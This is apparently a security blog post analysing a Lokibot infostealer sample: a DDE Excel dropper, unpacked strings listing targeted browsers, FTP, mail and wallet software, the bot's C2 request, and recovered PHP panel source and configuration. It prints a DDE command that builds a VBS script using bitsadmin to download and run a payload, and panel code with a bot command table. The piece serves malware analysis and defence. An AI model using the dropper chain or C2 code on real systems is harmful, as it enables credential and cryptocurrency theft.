Analyzing a Lokibot Sample

July 3, 2018

Analyzing a sample of the Lokibot malware.


Recently I received a sample of a suspected maldoc. It was an excel document with no content, but a prompt to enable update of links in the document. After further analysis, that will be detailed in this post, it was determined that the document eventually drops a sample of Lokibot, a widespread infostealer. This post will cover some details about the malware and how it infects a host, as well as examine some of its capabilities.

Infection chain

The excel document

The document itself has no content other than the string “Click on ENABLED to View”, which is usually a message associated with malware that drops via macros. In fact, this sample does not use macros but DDE. DDE has frequently been subject to debate, due to its use by malware and Microsoft’s insistence that it is a harmless feature. DDE allows an office document to request remote resources. It is often touted as an “exploitless” means of dropping malware onto a host via a document.

Inspecting the document further, we can find the following string:

/dde /c @echo Set objShell = CreateObject("Wscript.Shell") > Nw.vbs & @echo objShell.Run "cmd /c bitsadmin /transfer 8 /download %temp%\Nw.exe&%temp%\Nw.exe",0,True >> Nw.vbs& Nw.vbs

Let’s break down what this string actually is: 1. We first see /c @echo Set objShell = CreateObject("Wscript.Shell") > Nw.vbs, which creates a shell environment that can run commands. 2. We then see cmd /c bitsadmin /transfer 8 /download %temp%\Nw.exe&%temp%\Nw.exe",0,True which uses the Windows BITSadmin tool, to download an exe. 3. Finally, these two strings are written to a file Nw.vbs and that file is then invoked to kick off the whole process.

So we have surmised that this excel document will eventually drop and invoke an exe payload, which is our real malware sample. This is actually a packed dropper, which is identified by PeID as Asprotect. In fact I believe this is a false positive. I decided to take a new approach to obtaining the unpacked payload, and used PE-Sieve by hasherezade. This tool allows you to detect process hollowing and other techniques used by malware to disguise itself. After running the malware, and then running PE-Sieve, I obtained the unpacked binary for analysis.


We can immediately learn a lot from the strings IDA finds in this binary.

The extracted strings below put us onto the scent that this is probably an infostealer. These are a few of the applications that the malware will target and try to steal credentials from, in particular these are web browers. Further analysis showed that the malware will also target everything from FTP and Email credentials to cryptocurrency wallets.

00407ABB   MOV ESI,400000_4.00415524                 UNICODE "Comodo\Dragon"
00407AC8   MOV ESI,400000_4.00415540                 UNICODE "MapleStudio\ChromePlus"
00407AF2   MOV ESI,400000_4.00415570                 UNICODE "Google\Chrome"
00407AFF   MOV ESI,400000_4.0041558C                 UNICODE "Nichrome"
00407B1F   MOV ESI,400000_4.004155A0                 UNICODE "RockMelt"
00407B3E   MOV ESI,400000_4.004155B4                 UNICODE "Spark"
00407B59   MOV ESI,400000_4.004155C0                 UNICODE "Chromium"
00407B74   MOV ESI,400000_4.004155D4                 UNICODE "Titan Browser"
00407B8F   MOV ESI,400000_4.004155F0                 UNICODE "Torch"
00407BB1   MOV ESI,400000_4.004155FC                 UNICODE "Yandex\YandexBrowser"
00407BDB   MOV ESI,400000_4.00415628                 UNICODE "Epic Privacy Browser"
00407BFC   MOV ESI,400000_4.00415654                 UNICODE "CocCoc\Browser"
00407C0D   MOV ESI,400000_4.00415674                 UNICODE "Vivaldi"
00407C2A   MOV ESI,400000_4.00415684                 UNICODE "Comodo\Chromodo"
00407C41   MOV ESI,400000_4.004156A4                 UNICODE "Superbird"
00407C5E   MOV ESI,400000_4.004156B8                 UNICODE "Coowon\Coowon"
00407C79   MOV ESI,400000_4.004156D4                 UNICODE "Mustang Browser"
00407C94   MOV ESI,400000_4.004156F4                 UNICODE "360Browser\Browser"
00407CB5   MOV ESI,400000_4.0041571C                 UNICODE "CatalinaGroup\Citrio"
00407CE0   MOV ESI,400000_4.00415748                 UNICODE "Google\Chrome SxS"
00407CEA   MOV ESI,400000_4.0041576C                 UNICODE "Orbitum"
00407D00   MOV ESI,400000_4.0041577C                 UNICODE "Iridium"
00407D7D   MOV ESI,400000_4.0041578C                 UNICODE "\Opera\Opera Next\data"
00407DA0   MOV ESI,400000_4.004157BC                 UNICODE "\Opera Software\Opera Stable"
00407DC7   MOV ESI,400000_4.004157F8                 UNICODE "\Fenrir Inc\Sleipnir\setting\mo
00407DDD   MOV ESI,400000_4.00415860                 UNICODE "\Fenrir Inc\Sleipnir5\setting\m
00407F25   PUSH 400000_4.00415414                    ASCII "password_value"
00407F2A   PUSH 400000_4.00415424                    ASCII "username_value"
00407F2F   PUSH 400000_4.00415434                    ASCII "origin_url"
00407F38   PUSH 400000_4.00415440                    ASCII "logins"
00407FBC   PUSH 400000_4.004153FC                    ASCII "last_compatible_version"
00408241   PUSH 400000_4.004158CC                    UNICODE "vaultcli.dll"
0040826D   PUSH 400000_4.004158E8                    ASCII "VaultEnumerateItems"
00408289   PUSH 400000_4.004158FC                    ASCII "VaultEnumerateVaults"
004082A5   PUSH 400000_4.00415914                    ASCII "VaultFree"
004082C1   MOV EBX,400000_4.00415920                 ASCII "VaultGetItem"
004082FF   PUSH 400000_4.00415930                    ASCII "VaultOpenVault"
0040831B   PUSH 400000_4.00415940                    ASCII "VaultCloseVault"
00408529   PUSH 400000_4.004159D8                    UNICODE "file:///"
00408756   PUSH 400000_4.004159F0                    UNICODE "Software\Microsoft\Internet Exp
0040886F   PUSH 400000_4.00415950                    UNICODE "Software\Microsoft\Internet Exp
00408AF5   PUSH 400000_4.004159C8                    UNICODE "%s%02X"
00408C78   MOV ESI,400000_4.00415BA0                 UNICODE "%s\Mozilla\Firefox\profiles.ini
00408C88   MOV ESI,400000_4.00415BE0                 UNICODE "%s\Mozilla\Firefox\Profiles\%s"
00408CA5   MOV ESI,400000_4.00415C20                 UNICODE "%s\Mozilla\SeaMonkey\profiles.i
00408CC4   MOV ESI,400000_4.00415C68                 UNICODE "%s\Mozilla\SeaMonkey\Profiles\%
00408CE1   MOV ESI,400000_4.00415CAC                 UNICODE "%s\Flock\Browser\profiles.ini"
00408D00   MOV ESI,400000_4.00415CE8                 UNICODE "%s\Flock\Browser\Profiles\%s"
00408D1D   MOV ESI,400000_4.00415D24                 UNICODE "%s\Thunderbird\profiles.ini"
00408D3A   MOV ESI,400000_4.00415D5C                 UNICODE "%s\Thunderbird\Profiles\%s"
00408D60   MOV ESI,400000_4.00415D94                 UNICODE "%s\K-Meleon\profiles.ini"
00408D82   MOV ESI,400000_4.00415DC8                 UNICODE "%s\K-Meleon\%s"
00408DA4   MOV ESI,400000_4.00415DE8                 UNICODE "%s\Comodo\IceDragon\
00408DBE   MOV ESI,400000_4.00415E30                 UNICODE "%s\Comodo\IceDragon\Profiles\%s
00408DDF   MOV ESI,400000_4.00415E70                 UNICODE "%s\NETGATE Technologies\BlackHa
00408E03   MOV ESI,400000_4.00415ED0                 UNICODE "%s\NETGATE Technologies\BlackHa
00408E20   MOV ESI,400000_4.00415F2C                 UNICODE "%s\Postbox\profiles.ini"
00408E30   MOV ESI,400000_4.00415F5C                 UNICODE "%s\Postbox\Profiles\%s"
00408E5A   MOV ESI,400000_4.00415F90                 UNICODE "%s\8pecxstudios\Cyberfox\profil
00408E67   MOV ESI,400000_4.00415FE0                 UNICODE "%s\8pecxstudios\Cyberfox\Profil
00408E8B   MOV ESI,400000_4.00416030                 UNICODE "%s\Moonchild Productions\Pale M
00408EA2   MOV ESI,400000_4.00416090                 UNICODE "%s\Moonchild Productions\Pale M
00408ECA   MOV ESI,400000_4.004160F0                 UNICODE "%s\FossaMail\profiles.ini"
00408EDD   MOV ESI,400000_4.00416124                 UNICODE "%s\FossaMail\Profiles\%s"
00408F02   PUSH 400000_4.00416158                    UNICODE "%s\Lunascape\Lunascape6\plugins
00408F79   PUSH 400000_4.00416204                    UNICODE "Path"
00408FA1   PUSH 400000_4.00416210                    UNICODE "Profiles/"
0040900A   PUSH 400000_4.004161F0                    UNICODE "Profile%i"
00409052   PUSH 400000_4.0041657C                    UNICODE "(x86)"
00409063   PUSH 400000_4.00416588                    UNICODE "%ProgramW6432%"
00409072   PUSH 400000_4.004165A8                    UNICODE "%s\NETGATE\Black Hawk"
004090B2   PUSH 400000_4.00416724                    UNICODE "RootDir"
004090B7   PUSH 400000_4.00416738                    UNICODE "SOFTWARE\8pecxstudios\Cyberfox8

We also find a couple of strings useful from an intelligence point of view. In the binary there is reference to the following:

00412D96   PUSH 400000_4.004188C4                    ASCII ""

Which is most likely, a Russian-language cybercrime forum.

Additionally, we see reference to a C2 server, with a pattern consistent with Lokibot.

c2 reference

The malware also makes use of the host GUID, by accessing the registry. It hashes this GUID and uses it as an identifier. In some communications, the C2 expects this to be passed as a header (as we will see later).


Network and C2

The malware makes the following initial network request

POST /ari/Panel/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Accept: */*
Content-Type: application/octet-stream
Content-Encoding: binaryContent-Key: C70F840
Content-Length: 192
Connection: close

Here we see a unique user-agent to the malware, Charon; Inferno. This is actually used as a whitelisting method by the bot author, to allow the bot to communicate with the C2 server. The additional header Content-Key: C70F840 is seemingly bot specific.

At the time of analysis, the C2 was still live. Poking about on the C2 proved quite fruitful, and a full copy of the bot C2 source code was obtained. The C2 is written in PHP, and is compromised of a possibly professionally-built modular structure. Not the work of a script kiddy, but more likely a fairly experienced malware developer.

Analyzing the C2 code

Inside the code, we immediately see a reference to “LOKI”, a further indication that this is Lokibot. The code accepts communications from bots, but also serves as a administration panel for the botmaster.

Inside the file worker.class.php we are able to see a list of all software that the bot targets, stealing credentials from.

$DBCall = array 
   0  => array("NEXISTS_MODULE", "Unknown Client"),
   1  => array("Module_firefox", "Mozilla Firefox", "15.04.2016."),
   2  => array("Module_firefox", "K-Meleon", "15.04.2016."),
   3  => array("Module_firefox", "Flock","15.04.2016."),
   4  => array("Module_firefox", "Comodo IceDragon", "15.04.2016."),
   5  => array("Module_firefox", "SeaMonkey", "15.04.2016."),
   6  => array("Module_opera", "Opera (OLD)"),
   7  => array("Module_firefox", "Apple Safari", "15.04.2016."),
   8  => array("Module_firefox", "Internet Explorer", "15.04.2016."),
   9  => array("Module_firefox", "Opera (NEW)", "15.04.2016."),
  10  => array("Module_firefox", "Comodo Dragon", "15.04.2016."),
  11  => array("Module_firefox", "CoolNovo", "15.04.2016."),
  12  => array("Module_firefox", "Google Chrome", "15.04.2016."),
  13  => array("Module_firefox", "Rambler Nichrome", "15.04.2016."),
  14  => array("Module_firefox", "RockMelt", "15.04.2016."),
  15  => array("Module_firefox", "Baidu Spark", "15.04.2016."),
  16  => array("Module_firefox", "Chromium", "15.04.2016."),
  17  => array("Module_firefox", "Titan Browser", "15.04.2016."),
  18  => array("Module_firefox", "Torch Browser", "15.04.2016."),
  19  => array("Module_firefox", "Yandex.Browser", "15.04.2016."),
  20  => array("Module_firefox", "Epic Privacy", "15.04.2016."),
  21  => array("Module_firefox", "CocCoc Browser", "15.04.2016."),
  22  => array("Module_firefox", "Vivaldi", "15.04.2016."),
  23  => array("Module_firefox", "Chromodo", "15.04.2016."),
  24  => array("Module_firefox", "Superbird", "15.04.2016."),
  25  => array("Module_firefox", "Coowon", "15.04.2016."),
  26  => array("Module_twcommander","Total Commander"),
  27  => array("Module_flashfxp", "FlashFXP"),
  28  => array("Module_filezilla", "FileZilla"),
  29  => array("Module_putty", "PuTTY/KiTTY"),
  30  => array("Module_far", "FAR Manager"),
  31  => array("Module_superputty", "SuperPutty"),
  32  => array("Module_cyberduck", "CyberDuck"),
  33  => array("Module_thunderbird", "Mozilla Thunderbird"),
  34  => array("Module_pidgin", "Pidgin"),
  35  => array("Module_bitvise", "Bitvise"),
  36  => array("Module_novaftp", "NovaFTP"),
  37  => array("Module_netdrive", "NetDrive"),
  38  => array("Module_nppftp", "NppFTP"),
  39  => array("Module_ftpshell", "FTPShell"),
  40  => array("Module_sherrodftp", "sherrodFTP"),
  41  => array("Module_myftp", "MyFTP"),
  42  => array("Module_ftpbox", "FTPBox"),
  43  => array("Module_ftpinfo", "FtpInfo"),
  44  => array("Module_linesftp", "Lines FTP"),
  45  => array("Module_fullsync", "FullSync"),
  46  => array("Module_nexusfile", "Nexus File"),
  47  => array("Module_fjsftp", "JaSFtp"),
  48  => array("Module_ftpnow", "FTP Now"),
  49  => array("Module_xftp", "Xftp"),
  50  => array("Module_easyftp", "Easy FTP"),
  51  => array("Module_goftp", "GoFTP"),
  52  => array("Module_netfile", "NETFile"),
  53  => array("Module_blazeftp", "Blaze Ftp"),
  54  => array("Module_staffftp", "Staff-FTP"),
  55  => array("Module_ftpnow", "DeluxeFTP"),
  56  => array("Module_alftp", "ALFTP"),
  57  => array("Module_ftpgetter", "FTPGetter"),
  58  => array("Module_ws_ftp", "WS_FTP"),
  59  => array("Module_fulltiltpoker", "Full Tilt Poker"),
  60  => array("Module_pokerstars", "PokerStars"),
  61  => array("Module_fjsftp", "AbleFTP"),
  62  => array("Module_fjsftp", "Automize"),
  63  => array("Module_sftpnetdrive", "SFTP Net Drive"),
  64  => array("Module_anyclient", "Anyclient"),
  65  => array("Module_expandrive", "ExpanDrive"),
  66  => array("Module_steed", "Steed"),
  67  => array("Module_vnc", "RealVNC/TightVNC"),
  68  => array("Module_bitvise", "mSecure Wallet"),
  69  => array("Module_syncovery", "Syncovery"),
  70  => array("Module_smartftp", "SmartFTP"),
  71  => array("Module_freshftp", "FreshFTP"),
  72  => array("Module_bitkinex", "BitKinex"),
  73  => array("Module_ultrafxp", "UltraFXP"),
  74  => array("Module_ultrafxp", "FTP Rush"),
  75  => array("Module_securefx", "Vandyk SecureFX"),
  76  => array("Module_odin", "Odin Secure FTP Expert"),
  77  => array("Module_fling", "Fling"),
  78  => array("Module_fling", "ClassicFTP"),
  79  => array("Module_firefox", "NETGATE BlackHawk"),
  80  => array("Module_firefox", "Lunascape"),
  81  => array("Module_firefox", "QTWeb Browser"),
  82  => array("Module_qupzilla", "QupZilla"),
  //83  => array("Module_firefox", "Maxthon"), rp163
  84  => array("Module_foxmail", "Foxmail"),
  85  => array("Module_pocomail", "Pocomail"),
  86  => array("Module_incredimail", "IncrediMail"),
  87  => array("Module_winscp", "WinSCP"),
  88  => array("Module_gmailnp", "Gmail Notifier Pro"),
  89  => array("Module_checkmail", "CheckMail"),
  90  => array("Module_mailer", "SNetz Mailer"),
  91  => array("Module_operamail", "Opera Mail"),
  92  => array("Module_thunderbird", "Postbox"),
  93  => array("Module_firefox", "Cyberfox", "45.0.3, X64 - 15.04.2016."),
  94  => array("Module_firefox", "Pale Moon"),
  95  => array("Module_thunderbird", "FossaMail"),
  96  => array("Module_becky", "Becky!"),
  97  => array("Module_mailspeaker", "MailSpeaker"),
  98  => array("Module_outlook", "Outlook"),
  99  => array("Module_ymail", "yMail"),
  100  => array("Module_trojita", "Trojita"),
  101  => array("Module_trulymail", "TrulyMail"),
  102  => array("Module_stickypad", "StickyPad"),
  103  => array("Module_tododesklist", "To-Do Desklist"),
  104  => array("Module_stickies", "Stickies"),
  105  => array("Module_notefly", "NoteFly"),
  106  => array("Module_notezilla", "NoteZilla"),
  107  => array("Module_stickynotes", "Sticky Notes"),
  108  => array("Module_winftp", "WinFtp"),
  109  => array("Module_32bit", "32BitFTP"),
  110  => array("Module_firefox", "Mustang Browser"),
  111  => array("Module_firefox", "360 Browser"),
  112  => array("Module_firefox", "Citrio Browser"),
  113  => array("Module_firefox", "Chrome SxS"),
  114  => array("Module_firefox", "Orbitum", "43.0 - 15.04.2016."),
  115  => array("Module_firefox", "Sleipnir"),
  116  => array("Module_firefox", "Iridium", "48.2 - 15.04.2016."),
  117  => array("Module_firefox", "117"),
  118  => array("Module_firefox", "118"),
  119  => array("Module_firefox", "119"),
  120  => array("Module_firefox", "120"), // 110-120 Chrome 2
  121  => array("Module_cred", "Windows Credentials"),
  122  => array("Module_ftpnavigator", "FTP Navigator"),
  123  => array("Module_winkey", "Windows Key"),
  124  => array("Module_keepass", "KeePass"),
  125  => array("Module_npass", "EnPass"),
  126  => array("Module_firefox", "Waterfox"),
  127  => array("Module_folder", "AI RoboForm"),
  128  => array("Module_folder", "1Password"),
  129  => array("Module_winbox", "Mikrotik WinBox"),
  200  => array("NEXISTS_MODULE", "File Grabber"),
  201  => array("NEXISTS_MODULE", "POS Grabber"),
  202  => array("NEXISTS_MODULE", "Keylogger"),
  203  => array("NEXISTS_MODULE", "Screenshot")

In addition, we can see a list of cryptocurrency wallets that the bot will also target.

$DBWalletCall = array ( "Bitcoin", "MultiBit", "Electrum-BTC", "Armory", "Litecoin", "Namecoin", "Ufasoft", "PPCoin", "Blockchain", "Ixcoin", "Feathercoin", "NovaCoin", "Primecoin", "Terracoin", "Devcoin", "Digital", "Anoncoin", "Worldcoin", "Quarkcoin", "Infinitecoin", "DogeCoin", "AsicCoin", "LottoCoin", "DarkCoin", "Electrum-LTC", "BitShares", "MultiDoge", "Monacoin", "BitcoinDark", "Unobtanium", "Paycoin", "Dashcoin (DarkCoin)", "mSIGNA", "MultiBitHD", "Copay");

Furthermore, we see that the C2 expects the following headers from a worker bot request.


The exact headers it expects depends on what type of “report” the bot is offering. Possible reports are as follows.


The C2 file install.php has some base64 encoded data, which when decoded provides some very telling insights into the configuration of the bot.


Decoded it reads as follows.

	if (basename($_SERVER['PHP_SELF']) == basename(__FILE__)) die("File not found.");

	@ini_set('max_execution_time', NULL);

	$DBData = array
		'hostname' => "<MYSQLHOST>",
		'username' => "<MYSQLUSER>",
		'password' => "<MYSQLPASS>",
		'database' => "<MYSQLDB>",
		'port' 	   => <MYSQLPORT>,
		'prefix'   => "<MYSQLPREFIX>",
		'aes_key'  => 0,
	define("IN_LOKI", 		TRUE);
	define("LANG_DB", 		"lang.db.php");
	define("TITLE", 		"Loki PWS");
	define("LANG_", 		"en");
	define("E404_", 		"File not found.");
	define("DEBUG_",		TRUE);
	define("CAPTCHA", 		<USECAPTCHA>);
	define("AUTH_URL", 		<USEURL>);
	define("AUTH_AGENT", 	<USEAGENT>);
	define("TEMP_", 		"<TMPDIR>");
	define("URL_", 			"<URL>");
	define("AGENT_", 		"<AGENT>");
	define("INCLUDE_", 		"<INCLUDE>");
	define("WALLET_", 		"<WEBKEY>");
	define("ENCKEY_", 		"<FILEKEY>");
	define("COOKIE_", 		"<COOKIE>");
	define("EXTENSION_", 	".txt");
	define("ACTVALUE_", 	"<RAND1>");
	define("OPTVALUE_", 	"<RAND2>");
	define("AUTHVALUE_", 	"<RAND3>");
	define("MODULE_LOADER",			<LOADER>);
	define("MODULE_WALLET",			<WALLET>);
		@ini_set('error_reporting', E_ALL);
		@ini_set('error_reporting', NULL);

	$White_BotAgents_Lists = array ("Mozilla/4.08 (Charon; Inferno)");
	$White_Lists = array();

	$Lang		 = LANG_;
	$PageLimitDB = array ( 10, 20, 30, 50, 100); 
	$PageLimit 	 = 10;
	$PageID    	 = 1;

	$PrivilegesDB = array 
		0 => 'Read, Export, Delete, Settings, .. (ALL)', 
		1 => 'Read, Export, Delete'
	$CommandsDB = array 
		0 => 'Download & Run', 
		1 => 'Download & Load',
		2 => 'Download & Drop',
		3 => '-',
		8  => 'Remove Hash DB',
		9  => 'Enable Keylogger',
		10 => 'Collect Password',
		11 => 'Collect Wallet',
		12 => 'Collect File',
		13 => 'Collect Bin/Dump',
		14 => 'Shutdown Bot (Only Bot, not PC)',
		15 => 'Update Bot',
		16 => 'Update reconnect intervall',
		17 => 'Uninstall Bot',
		18 => 'Screenshot',
	$Page = array();
		$Page = array
			array("main", "Main"),
			array(" ", "Bots", 
					array("bot", "Bots"), 
					array(" ", "divider"), 
					array("command", "Commands")
			array(" ", "Reports", 
					array("report", "Reports"),
					array(" ", "divider"),
					array("http", "HTTP"), 
					array("ftp", "FTP/SSH"), 
					array("other", "Others"), 
					array("wallet", "Wallet"),
					array("dump", "Dumps")
			array("settings", "Settings"), 
			array("exit", "Exit")
		$Page = array
			array("main", "Main"), 
			array("http", "HTTP"), 
			array("ftp", "FTP/SSH"),
			array("other", "Others"),
			array("wallet", "Wallet"),
			array("dumps", "Dumps"),
			array("report", "Reports"),
			array("settings", "Settings"), 
			array("exit", "Exit")

Which gives us some interesting insights, including the rationale for the Charon; Inferno user-agent that we saw earlier on.


With very high confidence we can say this is a sample of Lokibot. Confirmed by both patterns in the code, correlation of hashes, and other intel reports from the research community. The main takeway from this bot has been its professional construction. It definitely seems as though it is built with resale in mind. There are even messages to buyers in the C2 source code, reminding them to change the names of certain config options and files. The modular nature of the C2 means we can probably expect to see evolving variants of Lokibot in the wild, certainly as cryptocurrencies gain popularity and harvesting wallets becomes even more lucrative.